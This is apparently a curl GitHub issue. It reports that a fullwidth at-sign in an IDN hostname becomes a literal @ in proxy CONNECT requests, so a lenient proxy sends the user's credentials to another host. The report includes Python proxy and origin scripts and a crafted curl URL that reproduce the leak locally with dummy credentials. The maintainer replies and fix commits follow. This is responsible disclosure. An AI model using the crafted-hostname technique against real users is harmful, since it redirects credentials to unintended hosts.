Repository navigation
Description
I did this
Summary
With a libidn2-enabled build, curl accepts U+FF20 (FULLWIDTH COMMERCIAL AT, @) in a URL hostname. IDN decoding changes it to ASCII @. The URL API rejects the decoded hostname when CURLU_PUNYCODE is requested, but the transfer path uses it without the same check.
With --proxytunnel, curl sends:
CONNECT trusted.example@127.0.0.2:18502 HTTP/1.1
Host: trusted.example@127.0.0.2:18502A proxy that treats @ as a userinfo separator connects to 127.0.0.2. Curl then sends the tunneled cleartext request, including credentials supplied with -u, to that host and reports success.
I reproduced this with a local proxy harness and unmodified tinyproxy 1.10.0. Other proxies I tested rejected or failed the CONNECT request, so proxy behavior is a necessary condition.
Reproduction
Tested with curl 8.23.1-DEV at commit 1422236ab5d87ef98452427b6cfb288712e4b182, built with libidn2. The credentials below are dummy values.
Save as proxy.py:
import socket
import threading
def relay(source, destination):
try:
while data := source.recv(65536):
destination.sendall(data)
except OSError:
pass
try:
destination.shutdown(socket.SHUT_WR)
except OSError:
pass
def handle(client):
request = b""
while b"\r\n\r\n" not in request:
chunk = client.recv(4096)
if not chunk:
return
request += chunk
line = request.split(b"\r\n", 1)[0].decode()
print(line, flush=True)
authority = line.split()[1]
if "@" in authority:
userinfo, authority = authority.split("@", 1)
print(f"parsed userinfo={userinfo!r}", flush=True)
host, port = authority.rsplit(":", 1)
print(f"connecting to {host}:{port}", flush=True)
upstream = socket.create_connection((host, int(port)))
client.sendall(b"HTTP/1.1 200 Connection established\r\n\r\n")
threading.Thread(target=relay, args=(upstream, client), daemon=True).start()
relay(client, upstream)
listener = socket.socket()
listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
listener.bind(("127.0.0.1", 18501))
listener.listen()
while True:
client, _ = listener.accept()
threading.Thread(target=handle, args=(client,), daemon=True).start()Save as origin.py:
import socket
import threading
def handle(client):
request = b""
while b"\r\n\r\n" not in request:
chunk = client.recv(4096)
if not chunk:
return
request += chunk
print(repr(request), flush=True)
client.sendall(
b"HTTP/1.1 200 OK\r\nContent-Length: 10\r\n"
b"Connection: close\r\n\r\nORIGIN-OK\n"
)
client.close()
listener = socket.socket()
listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
listener.bind(("127.0.0.2", 18502))
listener.listen()
while True:
client, _ = listener.accept()
threading.Thread(target=handle, args=(client,), daemon=True).start()Start proxy.py and origin.py in separate terminals, then run:
URL=$(printf 'http://trusted.example\xef\xbc\xa0127.0.0.2:18502/echo')
curl -sv --max-time 8 --proxytunnel \
-x http://127.0.0.1:18501 \
--basic -u alice:secretpw "$URL"Observed: curl sends CONNECT trusted.example@127.0.0.2:18502. The proxy connects to 127.0.0.2, whose listener receives a GET containing Authorization: Basic YWxpY2U6c2VjcmV0cHc= (the dummy alice:secretpw credentials). Curl receives ORIGIN-OK and exits successfully.
The percent-encoded U+FF20 form (%EF%BC%A0) produced the same result. A literal percent-encoded ASCII @ (%40) was rejected as a bad hostname. I also reproduced the routing with unmodified tinyproxy 1.10.0; its log confirmed a connection to 127.0.0.2.
Suspected cause
The [post-decoding hostname check added in [7ff8feecb9](https://github.com/curl/curl/commit/7ff8feecb9)](7ff8feecb9) applies to the curl_url_get() paths. In the transfer path, [peer_parse_host()](https://github.com/curl/curl/blob/master/lib/peer.c) stores the result of Curl_idn_decode() as the peer hostname without an equivalent check. [http_proxy_create_CONNECT()](https://github.com/curl/curl/blob/master/lib/http_proxy.c) then inserts that hostname into the CONNECT authority.
A URL API control using curl_url_get(..., CURLU_PUNYCODE) rejects the same decoded host with CURLUE_BAD_HOSTNAME.
Impact and limits
An attacker-influenced URL can cause credentials supplied for that transfer to reach a different host when the application uses a tunneling proxy that interprets @ in the CONNECT authority as userinfo. I also observed dummy FTP USER and PASS values reaching the destination through this path.
This was not reproduced over HTTPS: TLS hostname verification rejected the decoded hostname. A non-tunneled HTTP proxy test also failed closed. Strict proxies that reject the CONNECT authority prevent the demonstrated disclosure. No memory corruption was observed.
I expected the following
No response
curl/libcurl version
8.23.1-DEV at commit 1422236
operating system
Latest Ubuntu
Activity
bagder commentedon Oct 26, 2026
The letter
@is not a valid character in the host name in theCONNECTrequest; a HTTP compliant proxy rejects that.peer: extract host name punycoded
peer: extract host name punycoded
peer: extract host name punycoded